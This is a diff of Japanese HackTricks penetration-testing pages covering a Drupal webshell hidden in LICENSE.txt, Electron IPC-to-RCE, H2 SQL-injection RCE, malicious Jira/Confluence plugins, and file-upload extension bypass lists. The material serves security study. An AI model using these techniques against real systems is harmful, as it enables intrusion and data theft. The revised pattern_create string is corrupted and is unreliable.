@ -198,9 +198,9 @@ WebサーバーにWebshellLICENSE.txtと呼ぶをドロップすると、`
なぜWebshellをLICENSE.txtと名付けるのか なぜWebshellをLICENSE.txtと名付けるのか
単純に、例えば[core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)これはDrupalコアにすでに存在するファイルを取ると、339行で17.6 KBのサイズのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適ですファイルが十分に大きいため 単純に、例えば[core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)のようなファイルを取るとこれはDrupalコアにすでに存在しま、339行でサイズが17.6 KBのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適ですファイルが十分に大きいため
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
ファイル: 修正されたLICENSE.txt ファイル: 修正されたLICENSE.txt
```txt ```txt
@ -235,15 +235,15 @@ programs whose distribution conditions are different, write to the author
まず、_Add Document_ (/media/add/document) 機能を利用して、Apache ディレクティブを含むファイル (.htaccess) をアップロードします。 まず、_Add Document_ (/media/add/document) 機能を利用して、Apache ディレクティブを含むファイル (.htaccess) をアップロードします。
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Part 3.2 (upload file LICENSE.txt)** **Part 3.2 (upload file LICENSE.txt)**
次に、_Add Document_ (/media/add/document) 機能を再度利用して、ライセンスファイルに隠された Webshell をアップロードします。 次に、再度 _Add Document_ (/media/add/document) 機能を利用して、ライセンスファイルに隠された Webshell をアップロードします。
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
@ -263,7 +263,7 @@ programs whose distribution conditions are different, write to the author
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
ログに示されているように、要求されたのは txt ファイルだけのようです。 そして、ログに見ることができるように、要求されたのはテキストファイルだけのようです。
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>

View file

@ -15,20 +15,20 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details> </details>
{% endhint %} {% endhint %}
プリロードスクリプトがmain.jsファイルからIPCエンドポイントを公開している場合、レンダラープロセスはそれにアクセスでき、脆弱であればRCEが可能になるかもしれません。 もしプリロードスクリプトがmain.jsファイルからIPCエンドポイントを公開している場合、レンダラープロセスはそれにアクセスでき、脆弱であればRCEが可能になるかもしれません。
**これらの例のほとんどはここから取られました** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)。詳細についてはビデオを確認してください。 **これらの例のほとんどはここから取られました** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)。詳細についてはビデオを確認してください。
## Example 0 ## Example 0
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21)からの例(これらのスライドには、MS TeamsがXSSからRCEをどのように悪用していたかの完全な例があります。これは非常に基本的な例です [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) からの例(これらのスライドでは、MS TeamsがXSSからRCEをどのように悪用していたかの完全な例があります。これは非常に基本的な例です
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Example 1 ## Example 1
`main.js`が`getUpdate`をリッスンし、渡された**任意のURLをダウンロードして実行する**方法を確認してください。\ `main.js`が`getUpdate`をリッスンし、**渡された任意のURLをダウンロードして実行する**方法を確認してください。\
また、`preload.js`が**任意のIPC**イベントをメインから**公開している**方法も確認してください。 また、`preload.js`が**mainから任意のIPC**イベントを**公開している**方法も確認してください。
```javascript ```javascript
// Part of code of main.js // Part of code of main.js
ipcMain.on('getUpdate', (event, url) => { ipcMain.on('getUpdate', (event, url) => {

View file

@ -1,8 +1,8 @@
# H2 - Java SQLデータベース # H2 - Java SQLデータベース
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -10,24 +10,22 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
公式ページ[https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) 公式ページ: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
## アクセス ## アクセス
**無効なデータベース名を指定する**ことで、**有効な認証情報なしで新しいデータベースを作成する**ことができます(**未認証** **無効なデータベース名**を指定することで、**有効な認証情報なしで新しいデータベースを作成**することができます(**未認証**:
![](<../../.gitbook/assets/image (131).png>) ![](<../../.gitbook/assets/image (131).png>)
また、例えば**mysqlが実行中であることを知っていて**、そのデータベースの**名前**と**認証情報**を知っている場合は、単にアクセスできます: また、例えば**mysqlが実行中**で、**データベース名**とそのデータベースの**認証情報**を知っている場合は、単にアクセスできます:
![](<../../.gitbook/assets/image (201).png>) ![](<../../.gitbook/assets/image (201).png>)
@ -35,9 +33,9 @@ _**HTBのボックスHawkからのトリック。**_
## **RCE** ## **RCE**
H2データベースと通信するアクセスがある場合、これを利用してRCEを取得するためのエクスプロイトを確認してください[https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) H2データベースと通信するアクセスがある場合、これを利用してRCEを取得するためのエクスプロイトを確認してください: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)
## H2 SQLインジェクションからRCEへ ## H2 SQLインジェクションによるRCE
[**この投稿**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)では、**SQLインジェクション**を悪用して**H2データベース経由でRCEを取得する**ペイロードが説明されています。 [**この投稿**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)では、**SQLインジェクション**を悪用して**H2データベース経由でRCEを取得する**ペイロードが説明されています。
```json ```json
@ -50,20 +48,18 @@ H2データベースと通信するアクセスがある場合、これを利用
}, },
[...] [...]
``` ```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 権限の確認 ## Check Privileges
Jiraでは、**権限は任意のユーザーによって確認できます**。認証されたユーザーでも非認証のユーザーでも、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**ことは特に懸念され、これは**セキュリティの脆弱性**を示しており、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。 Jiraでは、**権限は**認証されたユーザーでも認証されていないユーザーでも、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**場合、これは**セキュリティの脆弱性**を示し、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。
重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含めることが要求されるようになりました。この要件は、照会される権限を指定することによって**セキュリティを強化**することを目的としています:[ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) 重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含めることが要求されました。この要件は、照会される権限を指定することにより**セキュリティを強化**することを目的としています: [ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS * ADD\_COMMENTS
* ADMINISTER * ADMINISTER
@ -69,7 +69,7 @@ Jiraでは、**権限は任意のユーザーによって確認できます**。
* VIEW\_VOTERS\_AND\_WATCHERS * VIEW\_VOTERS\_AND\_WATCHERS
* WORK\_ON\_ISSUES * WORK\_ON\_ISSUES
: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS` Example: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
```bash ```bash
#Check non-authenticated privileges #Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true' curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
@ -112,13 +112,13 @@ public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } public OutputType getOutputType() { return OutputType.BLOCK; }
} }
``` ```
これらのプラグインは、XSSのような一般的なウェブ脆弱性に対して脆弱である可能性があることが観察できます。たとえば、前の例はユーザーから提供されたデータを反映しているため脆弱です。&#x20; これらのプラグインは、XSSのような一般的なウェブ脆弱性に対して脆弱である可能性があることが観察できます。えば、前の例はユーザーから提供されたデータを反映しているため脆弱です。&#x20;
XSSが見つかった場合、[**このgithubリポジトリ**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence)には、XSSの影響を増加させるためのペイロードがいくつかあります。 XSSが見つかった場合、[**このgithubリポジトリ**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence)には、XSSの影響を増加させるためのペイロードがいくつかあります。
## バックドアプラグイン ## バックドアプラグイン
[**この投稿**](https://cyllective.com/blog/posts/atlassian-malicious-plugin)では、悪意のあるJiraプラグインが実行できるさまざまな悪意のあるアクションについて説明しています。[**このリポジトリのコード例**](https://github.com/cyllective/malfluence)を見つけることができます [**この投稿**](https://cyllective.com/blog/posts/atlassian-malicious-plugin)では、悪意のあるJiraプラグインが実行できるさまざまな悪意のあるアクションについて説明しています。[**このリポジトリにコード例があります**](https://github.com/cyllective/malfluence)
悪意のあるプラグインが実行できるアクションのいくつかは次のとおりです: 悪意のあるプラグインが実行できるアクションのいくつかは次のとおりです:
@ -126,10 +126,10 @@ XSSが見つかった場合、[**このgithubリポジトリ**](https://github.c
* **添付ファイルとページの抽出**:すべてのデータにアクセスし、抽出を許可します。 * **添付ファイルとページの抽出**:すべてのデータにアクセスし、抽出を許可します。
* **セッショントークンの盗難**レスポンス内のヘッダークッキーを含むをエコーするエンドポイントを追加し、それに連絡してクッキーを漏洩させるJavaScriptを追加します。 * **セッショントークンの盗難**レスポンス内のヘッダークッキーを含むをエコーするエンドポイントを追加し、それに連絡してクッキーを漏洩させるJavaScriptを追加します。
* **コマンド実行**:もちろん、コードを実行するプラグインを作成することが可能です。 * **コマンド実行**:もちろん、コードを実行するプラグインを作成することが可能です。
* **リバースシェル**リバースシェルを取得することもできます。 * **リバースシェル**またはリバースシェルを取得します。
* **DOMプロキシング**Confluenceがプライベートネットワーク内にある場合、アクセス権を持つユーザーのブラウザを通じて接続を確立し、例えばサーバーコマンドを実行することが可能です。 * **DOMプロキシング**Confluenceがプライベートネットワーク内にある場合、アクセス権を持つユーザーのブラウザを通じて接続を確立し、例えばサーバーコマンドを実行することが可能です。
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_ **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
@ -144,7 +144,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -9,13 +9,13 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に、または**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に、または**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -26,7 +26,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
他の有用な拡張子: 他の有用な拡張子:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ * **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **PHPv8で動作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ * **PHPv8で動作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ * **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ * **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ * **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -40,7 +40,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
2. _実行拡張子の前に**有効な拡張子を追加**してチェックします前の拡張子も使用_ 2. _実行拡張子の前に**有効な拡張子を追加**してチェックします前の拡張子も使用_
* _file.png.php_ * _file.png.php_
* _file.png.Php5_ * _file.png.Php5_
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用してみることもできます_) 3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**も試すことができます_)
* _file.php%20_ * _file.php%20_
* _file.php%0a_ * _file.php%0a_
* _file.php%00_ * _file.php%00_
@ -50,7 +50,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
* _file._ * _file._
* _file.php...._ * _file.php...._
* _file.pHp5...._ * _file.pHp5...._
4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイトを拡張子の間に追加します。_前の拡張子を使用して、より良いペイロードを準備することもできます。_ 4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイト)を拡張子の間に追加します。 _前の拡張子を使用して、より良いペイロードを準備することもできます。_
* _file.png.php_ * _file.png.php_
* _file.png.pHp5_ * _file.png.pHp5_
* _file.php#.png_ * _file.php#.png_
@ -62,15 +62,15 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
5. **前のチェックに別の拡張子の層を追加**します: 5. **前のチェックに別の拡張子の層を追加**します:
* _file.png.jpg.php_ * _file.png.jpg.php_
* _file.php%00.png%00.jpg_ * _file.php%00.png%00.jpg_
6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って設定されていることを祈ります。(拡張子**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます 6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って設定されていることを祈ります。(拡張子**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます
* _例: file.php.png_ * _例: file.php.png_
7. **WindowsのNTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可された拡張子の前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます「file.asax:.jpg」。このファイルは、他の技術を使用して後で編集することができます。短いファイル名を使用することができます。「**::$data**」パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます「file.asp::$data.」) 7. **Windows**で**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可されたものの前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます「file.asax:.jpg」。このファイルは、他の技術を使用して後で編集することができます。短いファイル名を使用することができます。「**::$data**」パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます「file.asp::$data.」)
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php 8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php
``` ```
# Linuxの最大255バイト # Linuxの最大255バイト
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
# ファイルをアップロードし、どれだけの文字を許可するか応答を確認します。236としましょう # ファイルをアップロードし、どれだけの文字を許可するか応答を確認します。236としましょう
python -c 'print "A" * 232' python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -78,40 +78,40 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png AAA<--SNIP 232 A-->AAA.php.png
``` ```
### Content-Type、マジックナンバー、圧縮&リサイズのバイパス ### コンテンツタイプ、マジックナンバー、圧縮&リサイズのバイパス
* **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します_image/png_、_text/plain_、_application/octet-stream_ * **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します_image/png_ , _text/plain , application/octet-stream_
